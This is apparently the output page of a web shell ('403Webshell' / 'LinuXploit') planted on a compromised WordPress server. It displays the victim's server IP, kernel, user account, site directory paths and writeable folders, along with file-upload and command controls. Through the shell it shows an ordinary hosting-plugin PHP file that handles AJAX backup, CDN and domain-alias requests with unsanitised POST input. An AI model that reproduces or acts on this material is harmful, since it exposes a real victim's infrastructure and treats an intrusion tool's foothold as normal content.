403Webshell
Server IP : 89.248.107.232  /  Your IP : 216.73.217.70
Web Server : Apache
System : Linux host2.kasilh.com 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
User : seg ( 10005)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/seg-sa.es/grupo-seg.com/wp-content/mu-plugins/closte/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/seg-sa.es/grupo-seg.com/wp-content/mu-plugins/closte/inc/closte_ajax.class.php
<?php
defined('ABSPATH') OR exit;
/**
 * closte_ajax short summary.
 *
 * closte_ajax description.
 *
 * @version 1.0
 * @author BatoPC
 */
class Closte_Ajax
{

    public static function closte_create_backup(){

        $result = array('success'  => false);
        $task = Closte_Api::ManualBackup();
       

        
        if(!is_null($task)){
            $result['success'] = true;
            $result['taskid'] = $task;
        }

        wp_send_json($result); 
    }

    public static function closte_get_task_status(){


        $id = $_POST['closte_task_id'];

        $result = array('success'  => false);
        $task = Closte_Api::GetTaskStatus($id);
        
        if(!is_null($task)){
            $result['success'] = true;
            $result['task'] = $task;
        }

        wp_send_json($result);       
    }


    public static function closte_cdn_invalidation(){


        

        $result = array('success'  => false);
        $task = Closte_Api::FlushGoogleCdn();
        
        if(!is_null($task)){
            $result['success'] = true;
            $result['taskid'] = $task;
        }

        wp_send_json($result);       
    }
    
     public static function closte_add_domain_alias(){

        $domain = $_POST['domain'];
        $result = Closte_Api::AddDomainAlias($domain); 
        wp_send_json($result);       
    }


    public static function closte_welcome_tour(){
        
        $options = Closte_Options::get_options();
        $options['welcome_tour'] = 1;
        Closte_Options::save_options($options);       
        $result = array('success'  => true);
        wp_send_json($result);   
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit